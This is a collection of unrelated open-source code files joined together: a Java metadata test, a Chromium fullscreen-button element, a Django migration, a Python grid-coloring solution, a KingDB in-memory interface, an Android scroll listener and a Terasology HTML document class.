initialResponse.setTable(UUID.randomUUID().toString()); FileMetadataTransformResponseModifier fileMetadataResult = new FileMetadataTransformResponseModifier(trackerService); ModifiedTransformResponse<FileMetadataResponse> m =fileMetadataResult.modify(initialResponse); FileMetadataResponse response = m.getResults(); int retryCount = 0; long start = System.currentTimeMillis(); boolean process = response == null; while(process){ Uninterruptibles.sleepUninterruptibly(1000, TimeUnit.MILLISECONDS); response = m.getResults(); if(response != null){ process = false; } retryCount +=1; if(retryCount >40){ process = false; } } long stop = System.currentTimeMillis(); log.info("Time to get chained response {} ms, Retry Attempts: {}", (stop -start),retryCount); Assert.assertEquals(3,response.getDatasets().size()); Assert.assertEquals(2, response.getDatasets().get("file://my/test001.csv").getFiles().size()); Assert.assertEquals(3, response.getDatasets().get("file://my/parquet001.parquet").getFiles().size()); Assert.assertEquals(2, response.getDatasets().get("file://my/avro001.avro").getFiles().size()); } public class MockSparkShellUserProcessService extends SparkShellUserProcessService { private String username; public MockSparkShellUserProcessService(String username){ this.username = username; } @Nonnull @Override protected SparkShellProcess getSparkShellProcess() throws Exception { return sparkShellProcess; } @Override protected SparkShellProcess getSparkShellProcess(String username) throws Exception { return sparkShellProcess; } } }
4,543
14,668
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/modules/media_controls/elements/media_control_fullscreen_button_element.h" #include "third_party/blink/public/platform/platform.h" #include "third_party/blink/public/platform/user_metrics_action.h" #include "third_party/blink/public/strings/grit/blink_strings.h" #include "third_party/blink/renderer/core/dom/document.h" #include "third_party/blink/renderer/core/dom/events/event.h" #include "third_party/blink/renderer/core/frame/settings.h" #include "third_party/blink/renderer/core/html/media/html_media_element.h" #include "third_party/blink/renderer/core/input_type_names.h" #include "third_party/blink/renderer/modules/media_controls/media_controls_impl.h" #include "third_party/blink/renderer/platform/text/platform_locale.h" namespace blink { MediaControlFullscreenButtonElement::MediaControlFullscreenButtonElement( MediaControlsImpl& media_controls) : MediaControlInputElement(media_controls) { setType(input_type_names::kButton); SetShadowPseudoId(AtomicString("-webkit-media-controls-fullscreen-button")); SetIsFullscreen(MediaElement().IsFullscreen()); SetIsWanted(false); } void MediaControlFullscreenButtonElement::SetIsFullscreen(bool is_fullscreen) { if (is_fullscreen) { setAttribute(html_names::kAriaLabelAttr, WTF::AtomicString(GetLocale().QueryString( IDS_AX_MEDIA_EXIT_FULL_SCREEN_BUTTON))); } else { setAttribute(html_names::kAriaLabelAttr, WTF::AtomicString(GetLocale().QueryString( IDS_AX_MEDIA_ENTER_FULL_SCREEN_BUTTON))); } SetClass("fullscreen", is_fullscreen); } bool MediaControlFullscreenButtonElement::WillRespondToMouseClickEvents() { return true; } int MediaControlFullscreenButtonElement::GetOverflowStringId() const { if (MediaElement().IsFullscreen()) return IDS_MEDIA_OVERFLOW_MENU_EXIT_FULLSCREEN; return IDS_MEDIA_OVERFLOW_MENU_ENTER_FULLSCREEN; } bool MediaControlFullscreenButtonElement::HasOverflowButton() const { return true; } bool MediaControlFullscreenButtonElement::IsControlPanelButton() const { return true; } const char* MediaControlFullscreenButtonElement::GetNameForHistograms() const { return IsOverflowElement() ? "FullscreenOverflowButton" : "FullscreenButton"; } void MediaControlFullscreenButtonElement::DefaultEventHandler(Event& event) { if (!IsDisabled() && (event.type() == event_type_names::kClick || event.type() == event_type_names::kGesturetap)) { RecordClickMetrics(); if (MediaElement().IsFullscreen()) GetMediaControls().ExitFullscreen(); else GetMediaControls().EnterFullscreen(); if (!IsOverflowElement()) event.SetDefaultHandled(); } MediaControlInputElement::DefaultEventHandler(event); } void MediaControlFullscreenButtonElement::RecordClickMetrics() { bool is_embedded_experience_enabled = GetDocument().GetSettings() && GetDocument().GetSettings()->GetEmbeddedMediaExperienceEnabled(); if (MediaElement().IsFullscreen()) { Platform::Current()->RecordAction( UserMetricsAction("Media.Controls.ExitFullscreen")); if (is_embedded_experience_enabled) { Platform::Current()->RecordAction(UserMetricsAction( "Media.Controls.ExitFullscreen.EmbeddedExperience")); } } else { Platform::Current()->RecordAction( UserMetricsAction("Media.Controls.EnterFullscreen")); if (is_embedded_experience_enabled) { Platform::Current()->RecordAction(UserMetricsAction( "Media.Controls.EnterFullscreen.EmbeddedExperience")); } } } } // namespace blink
1,358
656
<gh_stars>100-1000 # Generated by Django 3.0.7 on 2021-02-05 01:01 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('report', '0009_testreport_revision'), ] operations = [ migrations.AlterField( model_name='testreport', name='revision', field=models.PositiveIntegerField(default=1, editable=False, help_text='Report revision number (auto-increments)', verbose_name='Revision'), ), ]
210
3,269
# Time: O(logn) # Space: O(1) import itertools class Solution(object): def numOfWays(self, n): """ :type n: int :rtype: int """ def matrix_expo(A, K): result = [[int(i==j) for j in xrange(len(A))] for i in xrange(len(A))] while K: if K % 2: result = matrix_mult(result, A) A = matrix_mult(A, A) K /= 2 return result def matrix_mult(A, B): ZB = zip(*B) return [[sum(a*b % MOD for a, b in itertools.izip(row, col)) % MOD for col in ZB] for row in A] MOD = 10**9 + 7 T = [[3, 2], [2, 2]] return sum(matrix_mult([[6, 6]], matrix_expo(T, n-1))[0]) % MOD # [a1, a0] * T^(n-1) # Time: O(n) # Space: O(1) class Solution2(object): def numOfWays(self, n): """ :type n: int :rtype: int """ MOD = 10**9 + 7 aba, abc = 6, 6 for _ in xrange(n-1): aba, abc = (3*aba%MOD + 2*abc%MOD)%MOD, \ (2*abc%MOD + 2*aba%MOD)%MOD return (aba+abc)%MOD
740
379
<reponame>jjzhang166/kingdb // Copyright (c) 2014, <NAME>. All rights reserved. // Use of this source code is governed by the BSD 3-Clause License, // that can be found in the LICENSE file. #ifndef KINGDB_DUMMY_INTERFACE_H_ #define KINGDB_DUMMY_INTERFACE_H_ #include <thread> #include <string> #include "interface/kingdb.h" #include "util/status.h" #include "util/logger.h" namespace kdb { class DummyInterface: public KingDB { public: DummyInterface() {} virtual ~DummyInterface() {} virtual Status Get(const std::string& key, std::string *value_out) override { log::trace("KingDB Get()", "[%s]", key.c_str()); std::unique_lock<std::mutex> lock(mutex_); if (map_.find(key) == map_.end()) { return Status::NotFound("not found"); } *value_out = map_[key]; return Status::OK(); } virtual Status Put(const std::string& key, const std::string& value) override { log::trace("KingDB Put()", "[%s] [%s]", key.c_str(), value.c_str()); std::unique_lock<std::mutex> lock(mutex_); map_[key] = value; return Status::OK(); } virtual Status Delete(const std::string& key) override { log::trace("KingDB Delete()", "[%s]", key.c_str()); std::unique_lock<std::mutex> lock(mutex_); if (map_.find(key) == map_.end()) { return Status::NotFound("not found"); } map_.erase(key); return Status::OK(); } private: std::mutex mutex_; std::map<std::string, std::string> map_; }; }; #endif // KINGDB_DUMMY_INTERFACE_H_
581
1,360
package ru.noties.scrollable.sample; import android.view.View; import ru.noties.ccf.CCFAnimator; import ru.noties.scrollable.OnScrollChangedListener; public class SampleHeaderViewOnScrollChangedListener implements OnScrollChangedListener { private final SampleHeaderView mView; private final CCFAnimator mCCFAnimator; public SampleHeaderViewOnScrollChangedListener(SampleHeaderView view) { mView = view; mCCFAnimator = CCFAnimator.rgb(view.getExpandedColor(), view.getCollapsedColor()); } @Override public void onScrollChanged(int y, int oldY, int maxY) { final View textView = mView.getTextView(); final int top = textView.getTop(); final float headerY; final boolean isSticky; if (Float.compare(y, top) < 0) { headerY = .0F; isSticky = false; } else { headerY = y - top; isSticky = true; } textView.setTranslationY(headerY); final int color = mCCFAnimator.getColor(headerY / top); mView.setBackgroundColor(color); // to skip overdraw we remove background if we are in normal state // and add background if we are in sticky state if (isSticky) { textView.setBackgroundColor(color); } else { textView.setBackgroundColor(0); } } }
565
2,996
<reponame>Elyahu41/Terasology<gh_stars>1000+ // Copyright 2021 The Terasology Foundation // SPDX-License-Identifier: Apache-2.0 package org.terasology.engine.rendering.nui.widgets.browser.data.html; import org.terasology.engine.rendering.nui.widgets.browser.data.DocumentData; import org.terasology.engine.rendering.nui.widgets.browser.data.ParagraphData; import org.terasology.engine.rendering.nui.widgets.browser.ui.style.DocumentRenderStyle; import java.util.Collection; import java.util.LinkedList; import java.util.List; public class HTMLDocument implements DocumentData { private DocumentRenderStyle documentRenderStyle; private List<ParagraphData> paragraphs = new LinkedList<>(); public HTMLDocument(DocumentRenderStyle documentRenderStyle) { this.documentRenderStyle = documentRenderStyle; } @Override public DocumentRenderStyle getDocumentRenderStyle() { return documentRenderStyle; } public void addParagraph(ParagraphData paragraphData) { paragraphs.add(paragraphData); } public void addParagraphs(Collection<? extends ParagraphData> paragraphData) { paragraphs.addAll(paragraphData); } @Override public Collection<ParagraphData> getParagraphs() { return paragraphs; } }
420